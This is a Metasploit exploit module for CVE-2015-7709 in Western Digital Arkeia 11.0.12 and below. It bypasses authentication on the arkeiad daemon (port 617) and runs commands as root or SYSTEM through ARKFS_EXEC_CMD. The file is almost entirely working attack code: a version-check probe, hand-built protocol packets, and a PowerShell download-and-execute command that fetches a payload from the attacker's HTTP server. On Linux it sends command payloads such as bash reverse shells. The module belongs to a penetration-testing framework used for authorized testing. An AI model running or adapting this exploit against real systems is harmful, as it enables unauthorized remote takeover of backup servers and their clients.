##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Western Digital Arkeia Remote Code Execution',
        'Description' => %q{
          This module exploits a code execution flaw in Western Digital Arkeia version 11.0.12 and below.
          The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617. Because there are
          insufficient checks on the authentication of all clients, this can be bypassed.
          Using the ARKFS_EXEC_CMD operation it's possible to execute arbitrary commands with root or
          SYSTEM privileges.
          The daemon is installed on both the Arkeia server as well on all the backup clients. The module
          has been successfully tested on Windows, Linux, OSX, FreeBSD and OpenBSD.
        },
        'Author' => [
          'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2015-7709' ],
          [ 'EDB', '37600' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2015/Jul/54' ]
        ],
        'Privileged' => true,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Payload' => {
          'DisableNops' => true
        },
        'Targets' => [
          [
            'Windows',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win',
            }
          ],
          [
            'Linux',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'Payload' =>
                {
                  'DisableNops' => true,
                  'Space' => 60000,
                  'Compat' => {
                    'PayloadType' => 'cmd cmd_bash',
                    'RequiredCmd' => 'perl python bash-tcp gawk openssl'
                  }
                }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2015-07-10',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(617),
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15])
      ]
    )
  end

  def check
    connect

    req = "\x00\x41"
    req << "\x00" * 5
    req << "\x73"
    req << "\x00" * 12
    req << "\xc0\xa8\x02\x74"
    req << "\x00" * 56
    req << "\x74\x02\xa8\xc0"
    req << 'ARKADMIN'
    req << "\x00"
    req << 'root'
    req << "\x00"
    req << 'root'
    req << "\x00" * 3
    req << '4.3.0-1' # version?
    req << "\x00" * 11

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    req = "\x00\x73"
    req << "\x00" * 5
    req << "\x0c\x32"
    req << "\x00" * 11

    sock.put(req)
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00"
    req << 'EN' # Language
    req << "\x00" * 11

    sock.put(req)
    header = sock.get_once(6)

    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    unless data_length == 0
      disconnect
      return Exploit::CheckCode::Unknown
    end

    # ARKADMIN_GET_CLIENT_INFO
    req = "\x00\x62\x00\x01"
    req << "\x00" * 3
    req << "\x26"
    req << 'ARKADMIN_GET_CLIENT_INFO' # Function to request agent information
    req << "\x00\x32\x38"
    req << "\x00" * 11

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]
    unless data_length == 0
      disconnect
      return Exploit::CheckCode::Unknown
    end

    req = "\x00\x63\x00\x04\x00\x00\x00\x12\x30\x00\x31\x00\x32\x38"
    req << "\x00" * 12

    sock.put(req)

    # 1st packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    # 2nd packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    # 3rd packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x65\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length && data.include?('You have successfully retrieved client information')
      disconnect
      return Exploit::CheckCode::Unknown
    end

    # 4th packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x69\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    if data =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/
      version = $1
      vprint_status("#{rhost}:#{rport} - Arkeia version detected: #{version}")
      if Rex::Version.new(version) <= Rex::Version.new('11.0.12')
        return Exploit::CheckCode::Appears
      else
        return Exploit::CheckCode::Safe
      end
    else
      vprint_status("#{rhost}:#{rport} - Arkeia version not detected")
      return Exploit::CheckCode::Unknown
    end
  end

  def exploit
    if target.name =~ /Windows/

      @down_file = rand_text_alpha(8 + rand(8))
      @pl = generate_payload_exe

      begin
        Timeout.timeout(datastore['HTTP_DELAY']) { super }
      rescue Timeout::Error
      end
    elsif target.name =~ /Linux/
      communicate(payload.encoded)
      return
    end
  end

  def primer
    @payload_url = get_uri

    # PowerShell web download. The char replacement is needed because using the "/" character twice (like http://)
    # is not possible on Windows agents.
    command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"#{@payload_url.gsub(/\//, '$($s)')}\\\";"
    command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');"
    command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\""

    communicate(command)
  end

  def communicate(command)
    print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon")

    connect

    print_status("#{rhost}:#{rport} - Sending agent communication")

    req = "\x00\x41\x00\x00\x00\x00\x00\x70"
    req << "\x00" * 12
    req << "\xc0\xa8\x02\x8a"
    req << "\x00" * 56
    req << "\x8a\x02\xa8\xc0"
    req << 'ARKFS'
    req << "\x00"
    req << 'root'
    req << "\x00"
    req << 'root'
    req << "\x00" * 3
    req << '4.3.0-1' # Client version ?
    req << "\x00" * 11

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end

    req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32"
    req << "\x00" * 11

    sock.put(req)
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end

    req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00"
    req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID?
    req << "\x00"
    req << 'EN' # English language?
    req << "\x00" * 11

    sock.put(req)
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    unless data_length == 0
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
    end

    req = "\x00\x62\x00\x01\x00\x02\x00\x1b"
    req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges
    req << "\x00\x31"
    req << "\x00" * 11

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    unless data_length == 0
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
    end

    req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c"
    req << "\x00" * 11

    sock.put(req)

    command_length = '%02x' % command.length
    command_length = command_length.scan(/../).map { |x| x.hex.chr }.join

    req = "\x00\x64\x00\x04\x00\x04"
    req << [command.length].pack('n')
    req << command # Our command to be executed
    req << "\x00"

    print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD")

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end

    # 1st Packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end

    # 2st Packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end
  end

  def on_request_uri(cli, request)
    print_status("Request: #{request.uri}")
    if request.uri == get_resource
      print_status('Sending payload...')
      send_response(cli, @pl)
      register_files_for_cleanup("c:\\#{@down_file}.exe")
    end
  end

  def autofilter
    true
  end
end
